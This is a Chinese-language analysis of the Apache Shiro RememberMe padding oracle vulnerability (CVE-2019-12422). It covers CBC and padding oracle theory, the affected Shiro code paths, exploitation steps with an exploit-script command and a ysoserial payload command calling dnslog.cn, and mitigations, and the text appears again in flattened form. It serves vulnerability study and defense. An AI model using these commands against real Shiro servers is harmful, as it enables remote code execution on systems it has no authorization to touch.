CVE-2019-12422 Apache Shiro RememberMe Padding Oracle
字数 2146 2025-08-05 13:25:37

Apache Shiro RememberMe Padding Oracle漏洞(CVE-2019-12422)深入分析与利用

1. 漏洞概述

Apache Shiro是一个功能强大且易用的Java安全框架,用于身份验证、授权、加密和会话管理。在1.4.1及以下版本中,Shiro的RememberMe功能存在Padding Oracle漏洞(CVE-2019-12422),攻击者可以在不知道密钥的情况下构造恶意的RememberMe Cookie,最终实现远程代码执行。

2. 前置知识

2.1 CBC模式加密

CBC(Cipher Block Chaining)模式是一种分组加密模式,其特点如下:

  • 每个明文分组在加密前会与前一个密文分组进行异或操作
  • 第一个分组使用初始化向量(IV)进行异或
  • 解密是加密的逆过程

CBC加密流程

  1. 明文分组P1与IV异或
  2. 结果用密钥K加密得到C1
  3. C1与P2异或后加密得到C2
  4. 以此类推

CBC解密流程

  1. 密文分组C1用密钥K解密得到中间值M1
  2. M1与IV异或得到P1
  3. C2解密得到M2,与C1异或得到P2
  4. 以此类推

2.2 PKCS #5/PKCS #7填充

由于分组加密需要固定长度的数据块,当数据长度不足时需要填充:

  • PKCS #5:固定8字节分组
  • PKCS #7:支持1-255字节分组
  • 填充规则:缺少n个字节就填充n个0xn

例如:

  • 最后一组剩下5字节 → 填充3个0x03
  • 完整分组(8字节) → 填充8个0x08

2.3 Padding Oracle攻击原理

Padding Oracle攻击是针对CBC模式的攻击,利用服务器对不同填充错误的响应差异来恢复明文。

关键概念

  • RawIV:原始IV,解密时是前一个密文分组
  • FuzzIV:枚举的IV
  • MediumValue:密文解密后的中间值
  • 公式关系:
    • 解密:MediumValue = BlockCipherDecrypt(CipherText, Key)
    • 明文:PlainText = MediumValue XOR RawIV

攻击步骤

  1. 提交构造的FuzzIV和密文给服务器
  2. 服务器解密后检查填充有效性
  3. 根据服务器响应判断填充是否正确
  4. 利用正确填充时的FuzzIV计算中间值和明文

计算明文
当找到使最后一个字节为0x01的有效FuzzIV时:

MediumValue[8] = FuzzIV[8] ^ 0x01
PlainText[8] = MediumValue[8] ^ RawIV[8] = FuzzIV[8] ^ 0x01 ^ RawIV[8]

同理可计算其他位置的明文。

2.4 CBC字节翻转攻击

通过修改密文中的特定字节,可以影响解密后的明文:

  • 修改前一个密文分组的字节会影响当前分组的解密结果
  • 公式:P'[i] = C[i-1]' XOR Decrypt(C[i]) XOR P[i]
  • 可用于篡改解密后的明文内容

3. 漏洞分析

3.1 RememberMe功能流程

  1. 用户登录时勾选"Remember Me"
  2. 服务器生成包含用户身份信息的序列化数据
  3. 使用AES-CBC加密序列化数据
  4. 设置RememberMe Cookie返回给客户端
  5. 下次请求时,服务器解密Cookie恢复用户身份

3.2 漏洞触发点

AbstractRememberMeManager#getRememberedPrincipals方法中:

protected PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        if (bytes != null && bytes.length > 0) {
            return convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (Exception e) {
        onRememberedPrincipalFailure(e, subjectContext);
    }
    return null;
}

convertBytesToPrincipals方法调用解密逻辑:

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext context) {
    if (getCipherService() != null) {
        bytes = getCipherService().decrypt(bytes, getDecryptionCipherKey()).getBytes();
    }
    return deserialize(bytes);
}

3.3 解密过程分析

  1. JcaCipherService#decrypt方法处理解密:

    • 获取IV长度(getInitializationVectorSize)
    • 从密文中提取IV
    • 调用crypt方法进行实际解密
  2. 解密失败时的处理:

    • 抛出CryptoException
    • getRememberedPrincipals捕获
    • 调用onRememberedPrincipalFailure
    • 最终设置RememberMe=deleteMe的Cookie
  3. 解密成功时的特征:

    • 返回正常响应
    • deleteMe Cookie

3.4 Padding Oracle条件

  • Padding失败:返回RememberMe=deleteMe
  • Padding成功:返回正常响应或反序列化错误

这种差异化的响应构成了Padding Oracle。

4. 漏洞利用

4.1 利用步骤

  1. 获取一个合法的RememberMe Cookie
  2. Base64解码获取原始密文
  3. 使用Padding Oracle攻击恢复中间值
  4. 构造恶意的序列化数据
  5. 生成新的合法RememberMe Cookie
  6. 发送恶意Cookie实现RCE

4.2 利用工具

推荐使用Shiro-721 Exploit

python shiro_exp.py "http://target/" "base64_rememberMe_cookie" payload.ser

4.3 生成Payload

使用ysoserial生成反序列化payload:

java -jar ysoserial.jar URLDNS "http://dnslog.cn" > payload.ser

5. 防御措施

  1. 升级到Apache Shiro 1.4.2或更高版本
  2. 禁用RememberMe功能(如果不需要)
  3. 使用自定义密钥而非默认密钥
  4. 实施网络层防护,如WAF规则检测攻击

6. 参考资源

  1. Apache Shiro官方安全公告
  2. Padding Oracle Attack与CBC翻转字节攻击
  3. Shiro Padding Oracle Attack反序列化分析
  4. CVE-2019-12422详细分析
Apache Shiro RememberMe Padding Oracle漏洞(CVE-2019-12422)深入分析与利用 1. 漏洞概述 Apache Shiro是一个功能强大且易用的Java安全框架,用于身份验证、授权、加密和会话管理。在1.4.1及以下版本中,Shiro的RememberMe功能存在Padding Oracle漏洞(CVE-2019-12422),攻击者可以在不知道密钥的情况下构造恶意的RememberMe Cookie,最终实现远程代码执行。 2. 前置知识 2.1 CBC模式加密 CBC(Cipher Block Chaining)模式是一种分组加密模式,其特点如下: 每个明文分组在加密前会与前一个密文分组进行异或操作 第一个分组使用初始化向量(IV)进行异或 解密是加密的逆过程 CBC加密流程 : 明文分组P1与IV异或 结果用密钥K加密得到C1 C1与P2异或后加密得到C2 以此类推 CBC解密流程 : 密文分组C1用密钥K解密得到中间值M1 M1与IV异或得到P1 C2解密得到M2,与C1异或得到P2 以此类推 2.2 PKCS #5/PKCS #7填充 由于分组加密需要固定长度的数据块,当数据长度不足时需要填充: PKCS #5:固定8字节分组 PKCS #7:支持1-255字节分组 填充规则:缺少n个字节就填充n个0xn 例如: 最后一组剩下5字节 → 填充3个0x03 完整分组(8字节) → 填充8个0x08 2.3 Padding Oracle攻击原理 Padding Oracle攻击是针对CBC模式的攻击,利用服务器对不同填充错误的响应差异来恢复明文。 关键概念 : RawIV:原始IV,解密时是前一个密文分组 FuzzIV:枚举的IV MediumValue:密文解密后的中间值 公式关系: 解密: MediumValue = BlockCipherDecrypt(CipherText, Key) 明文: PlainText = MediumValue XOR RawIV 攻击步骤 : 提交构造的FuzzIV和密文给服务器 服务器解密后检查填充有效性 根据服务器响应判断填充是否正确 利用正确填充时的FuzzIV计算中间值和明文 计算明文 : 当找到使最后一个字节为0x01的有效FuzzIV时: 同理可计算其他位置的明文。 2.4 CBC字节翻转攻击 通过修改密文中的特定字节,可以影响解密后的明文: 修改前一个密文分组的字节会影响当前分组的解密结果 公式: P'[i] = C[i-1]' XOR Decrypt(C[i]) XOR P[i] 可用于篡改解密后的明文内容 3. 漏洞分析 3.1 RememberMe功能流程 用户登录时勾选"Remember Me" 服务器生成包含用户身份信息的序列化数据 使用AES-CBC加密序列化数据 设置RememberMe Cookie返回给客户端 下次请求时,服务器解密Cookie恢复用户身份 3.2 漏洞触发点 在 AbstractRememberMeManager#getRememberedPrincipals 方法中: convertBytesToPrincipals 方法调用解密逻辑: 3.3 解密过程分析 JcaCipherService#decrypt 方法处理解密: 获取IV长度( getInitializationVectorSize ) 从密文中提取IV 调用 crypt 方法进行实际解密 解密失败时的处理: 抛出 CryptoException 被 getRememberedPrincipals 捕获 调用 onRememberedPrincipalFailure 最终设置 RememberMe=deleteMe 的Cookie 解密成功时的特征: 返回正常响应 无 deleteMe Cookie 3.4 Padding Oracle条件 Padding失败 :返回 RememberMe=deleteMe Padding成功 :返回正常响应或反序列化错误 这种差异化的响应构成了Padding Oracle。 4. 漏洞利用 4.1 利用步骤 获取一个合法的RememberMe Cookie Base64解码获取原始密文 使用Padding Oracle攻击恢复中间值 构造恶意的序列化数据 生成新的合法RememberMe Cookie 发送恶意Cookie实现RCE 4.2 利用工具 推荐使用 Shiro-721 Exploit : 4.3 生成Payload 使用ysoserial生成反序列化payload: 5. 防御措施 升级到Apache Shiro 1.4.2或更高版本 禁用RememberMe功能(如果不需要) 使用自定义密钥而非默认密钥 实施网络层防护,如WAF规则检测攻击 6. 参考资源 Apache Shiro官方安全公告 Padding Oracle Attack与CBC翻转字节攻击 Shiro Padding Oracle Attack反序列化分析 CVE-2019-12422详细分析